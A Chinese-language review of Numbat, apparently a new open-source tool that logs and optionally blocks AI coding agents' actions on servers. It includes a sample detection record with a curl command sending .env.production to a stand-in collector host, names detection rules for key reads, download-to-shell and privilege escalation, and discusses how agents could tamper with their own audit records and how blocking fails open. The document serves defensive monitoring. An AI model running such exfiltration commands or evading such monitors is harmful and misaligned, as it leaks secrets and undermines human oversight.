Numbat 能监控 AI 代理在服务器上的哪些操作？

Numbat 是什么

Numbat 可帮助您了解 AI 代理在您拥有的计算机上执行了哪些操作。它读取编码代理已经生成的钩子回调和会话文件，将其规范化为统一的事件格式，然后根据规则匹配事件。当代理读取 SSH 私钥，或将下载内容直接通过管道传给 shell 等行为发生时，规则会触发。Perplexity 以 Apache 2.0 许可证将其发布为开源项目，首个带标签的版本于 29 July 2026 发布。

以下内容均来自该项目的代码仓库及其自身文档，阅读时间为 2 August 2026。凡是 Perplexity 提出的说法，本文都会明确说明。这不是安装教程，因为该代码仓库发布仅数日，其中的命令可能会发生变化。

问题在于：没有人记录代理执行了什么

VPS 上的编码代理会以您提供的用户身份运行 shell 命令、读取文件、写入文件并建立网络连接。由于代理不是在您的 shell 中输入命令，shell 历史记录不会记录这些操作。sshd 只记录您的登录行为，不会记录模型随后决定执行的操作。除非有程序访问 sudo，否则 /var/log/auth.log 不会产生记录。代理会保存自己的操作记录，但该文件位于代理的会话目录中，格式会随版本发布而变化，而且代理自身的进程可以写入该文件。

因此，当有人询问代理上周二是否读取过 .env.production 时，在大多数服务器上，诚实的答案是：无法确定。这一记录缺口就是本项目存在的原因。

Perplexity 声称 Numbat 可实现的功能

README 开头将该工具描述为“提供 AI agent 活动的端点可见性，支持本地检测、可选的操作前阻断和取证重建”。这里的端点指 agent 运行的机器，而不是从外部监视网络的设备。这些是相互独立的功能，重要程度也不同。

检测在设备本地运行。规则使用 CEL（通用表达式语言）编写并在本地评估，还支持在此基础上使用多步骤序列规则，以及在 YAML 中编写自定义规则。规则触发不需要任何数据离开该机器。

阻断是可选的，适用范围也很有限。它只能通过同步的操作前 hook 工作，而且仅适用于提供此类 hook 的 agent。除非手动启用，否则该功能默认关闭。

重建发生在事后。numbat scan 会解析 agent 已经写入磁盘的会话工件，因此可以查看安装该工具之前的活动。项目对这一说法设置了明确边界：“静态数据重建不是磁盘或内存采集，也无法恢复 agent 未持久化的活动。”

输出采用版本化 NDJSON（以换行符分隔的 JSON），涵盖事件、发现结果、执行决策、指标和扫描摘要。截至 v0.1.2，架构版本为 0.2.0。记录会写入 stdout 或本地文件，也可以通过 HTTP 发送到自行运行的收集器。该工具以不使用 cgo 构建的单个静态 Go 二进制文件发布，支持 amd64 和 arm64 架构上的 macOS、Linux 和 Windows。因此，在 Linux VPS 上，它只是一个无需先安装运行时的单文件程序。

Numbat 实际可以监控哪些代理？

docs/agent-coverage.md中的覆盖矩阵是权威列表，但覆盖范围并不均衡。项目对此有明确说明，没有刻意隐藏。Claude Code、Codex、Gemini CLI、Cursor 和 GitHub Copilot CLI 都支持工件扫描，以及带预操作钩子的实时捕获。OpenClaw 从版本 2026.7.1 开始提供原生插件。还有许多条目标记为 deferred，表示存在实时钩子路径，但不提供工件解析器。这通常是因为该代理使用带预写式日志的 SQLite 存储历史记录，而代理运行时读取这种日志并不安全。2026 年 8 月 2 日读取矩阵时，OpenCode 和 Cline 就属于这一组。

在围绕此工具进行规划前，请先检查与你的代理对应的行，因为几乎每一行中，“支持”的含义都不同。

检测结果示例

规则包含用于说明用途的 ID。secrets.read_private_key 用于检测 SSH 密钥、AWS 凭据、kube 配置或软件包仓库登录信息。将 curl 或 wget 的输出通过管道传给解释器时，exec.download_pipe_shell 会触发。privilege.elevated_shell 用于检测通过 sudo、doas、su 或 pkexec 请求交互式 root shell 的行为。impact.cryptomining_launch 用于匹配已知的挖矿程序二进制文件和镜像名称。

序列规则会关联同一会话中的事件。chain.secret_read_then_egress 要求先读取机密文件，随后执行携带数据向外传输的命令。README 发布了下面的检测结果。该结果来自对两个 Claude Code pre-action callback 的受控重放，不是真实事件。这里仅保留重要字段：

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

注意记录中包含 "confidence": "medium"。还要注意项目对这类输出的整体说明：“检测结果是规则匹配，不是服务器已被入侵的证据。”读取密钥后上传构建产物的部署脚本，也会匹配同一条序列规则。匹配结果是正确的，但告警是误报；这是所有检测工具在实际运行中的常见情况。

默认不执行阻断，出错时放行

Numbat 发布的所有规则都仅用于监控。将规则改为阻断规则需要有意执行以下操作：将规则的完整 YAML 复制到您自己的目录中，保留相同的 id，添加 enforce: true，递增版本号，然后验证并安装该策略。

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

现在说明您应在多大程度上信任它。Numbat 的 deny 是返回给 agent 的响应，真正拒绝工具调用的是 agent。强制执行指南明确说明了 Numbat 自身出现问题时的行为：“格式错误的 payload、相关评估错误、panic 和输出失败都会抑制 numbat deny。”Hook 输入上限为 4 MiB，超出大小限制的输入也会走相同路径。

该指南同样明确说明了成功返回 deny 的限制：“Fail-open 表示 numbat 不返回 deny 响应。这并不保证工具会执行：主机仍可能提示、拒绝、超时，或应用其他 hook 或策略。”

因此，这里的强制执行机制是安全护栏，而不是安全边界。如果进程崩溃，Numbat 不会阻止该操作，因为一个每次出现故障都会冻结 agent 的监控器，通常不到一周就会被卸载。这个取舍是合理的。但不要构建依赖 deny 始终到达的安全模型。

Numbat 与现有措施的关系

Numbat 运行在端点上，位于代理自身的进程树内，默认将日志写入 ~/.numbat/records.ndjson。以您的用户身份运行的代理可以读取该文件，也可以修改它。审计记录的可靠性完全取决于其周围的隔离措施。因此，您已有的每项控制措施都应位于 Numbat 之前，而不是之后。

为编码代理提供一次性 VM 可以限制恶意运行能够访问的范围。在 VPS 上使用最小权限用户 可以阻止代理访问不应打开的文件。不要将凭据放入代理上下文，才能让 secrets.read_private_key 足够少见，使其触发时的记录值得查看。为 VPS 上的 Claude Code 配置的沙箱 仍然负责执行隔离。隔离措施限制恶意运行能够接触的对象，而记录代码采用当前结构的原因则可以减少代理执行意外操作的频率，从而减少您需要查阅日志的次数。

Numbat 增加的是记录，因此应将记录发送到代理无法访问的位置。numbat ship 和 HTTP sink 就是为此而存在的。在第二台机器上保留一份流副本，是日志文件与证据之间的区别。事件模型还包含 MCP（模型上下文协议）字段，因此通过您在 VPS 上托管的 MCP 服务器发出的工具调用，会与本地 shell 命令进入同一个流。这一点很重要，因为仅监控 bash 的措施无法看到这条路径。将 SearXNG 实例接入为代理的搜索后端时，也存在同样的盲区：风险表现为未经信任的页面文本进入模型上下文，而不是表现为任何规则都能匹配的命令。

先以只读方式试用

安装固定版本。go install 要求 Go 1.26.5 或更高版本。如果不想从源代码构建，可以从 releases 页面获取带 SHA-256 校验和的预构建二进制文件。

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents 会发现此服务器上已安装的代理。numbat scan 会解析磁盘上已有的会话工件并输出记录。README 说明，这些命令“不会安装钩子或更改代理配置”；同时，numbat“不会执行工件中找到的代理或命令，并且只会向已配置的 HTTP 接收端发起出站请求”。扫描过程为只读操作，并会遮盖机密信息；正常的记录输出不会包含完整的原始会话转录。

下一步是实时捕获，但这会更改代理配置：

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all 会将事件、发现结果、指标以及适用的强制执行决策写入 ~/.numbat/records.ndjson。项目文档特别提醒了两点。钩子在实际运行前，可能需要先在代理内部设为可信；修改 --enforce 等标志后，还必须重新审核这一信任设置。此外，hook status “验证的是配置，而不是执行或传送”，因此，状态行显示正常并不能证明记录已发送到任何位置。

为什么这样新的代码仓库不能作为依赖

公开发布版本分别是 2026 年 7 月 29 日的 v0.1.1 和 2026 年 8 月 1 日的 v0.1.2。本文撰写于 2026 年 8 月 2 日，当时该代码仓库有 597 个 star。增长如此迅速，反映的是 Perplexity 的受众规模，而不是代码的稳定性。star 表示有人保存了该页面，准备稍后查看。

版本号如实反映了它目前所处的阶段。v0.1.2 的更新说明主要涉及凭据脱敏修复，以及 case bundle 和遥测规范化工作。对于一个负责安全读取其他程序操作记录的工具，脱敏缺陷正是早期版本常见的问题类型。此类问题还会继续出现，因为输入来自十几个 agent，而每个 agent 都会按照自己的发布计划修改格式。

因此应遵循两条实际规则。对于需要长期保留的内容，固定使用 tag，绝不要使用 @latest。至少在记录 schema 不再频繁变动之前，应将它视为正在评估的工具，而不是可以依赖的控制组件。

FAQ

Numbat 会阻止危险的 AI agent 命令吗？

只有在您主动启用后才会阻止，而且仅提供尽力而为的保护。Numbat 自带的每条规则都仅用于监控。要执行阻止，您需要将规则的 YAML 复制到自己的目录，保留其 id，添加 enforce: true，递增版本号，然后使用 --enforce 安装 hook。即使如此，拒绝结果也只是返回给 agent 的响应，真正拒绝调用的是 agent。项目文档说明了故障开放行为：格式错误的 payload、评估错误、panic 和输出失败都会抑制拒绝操作。请将它用作防护措施，不要将其作为唯一的安全边界。

Numbat 支持哪些 AI agent？

不同 agent 的支持范围不同，仓库中的 docs/agent-coverage.md 列出了具体信息。截至 2026 年 8 月 2 日，该页面显示 Claude Code、Codex、Gemini CLI、Cursor 和 GitHub Copilot CLI 同时支持工件扫描和实时捕获；OpenClaw 从版本 2026.7.1 开始提供原生插件。许多其他 agent 已列出实时 hook 路径，但尚无工件解析器。这通常是因为它们的会话历史存储在 SQLite 数据库中，而 agent 运行时读取该数据库并不安全。请查看对应 agent 的行，因为其中的“支持”涵盖多个不同级别。

agent 能篡改 Numbat 的记录吗？

可以，前提是它以同一用户身份运行。记录默认存储在与 agent 相同的计算机上的 ~/.numbat/records.ndjson，因此任何拥有该路径写权限的进程都可以修改或删除记录。请使用 numbat ship 或 HTTP sink，将数据流发送到 agent 无法访问的收集器，并将本地文件保留为便利副本。这也是该工具只能补充隔离而不能替代隔离的原因。在最小权限用户下运行于一次性 VM 中的 agent，对自身审计记录的访问范围要小得多。

Numbat 是否已准备好用于生产服务器？

不应将其作为您依赖的控制措施。首个公开版本是 2026 年 7 月 29 日发布的 v0.1.1，随后在 2026 年 8 月 1 日发布了 v0.1.2，因此 flags 和记录 schema 仍在变化。在服务器上运行 numbat agents 和 numbat scan 属于只读操作，风险较低，也能告诉您 agent 在磁盘上留下了哪些内容。在重要服务器上安装强制执行 hook 是另一项决策。您应固定使用某个 tag，并制定 hook 行为异常时的处理方案。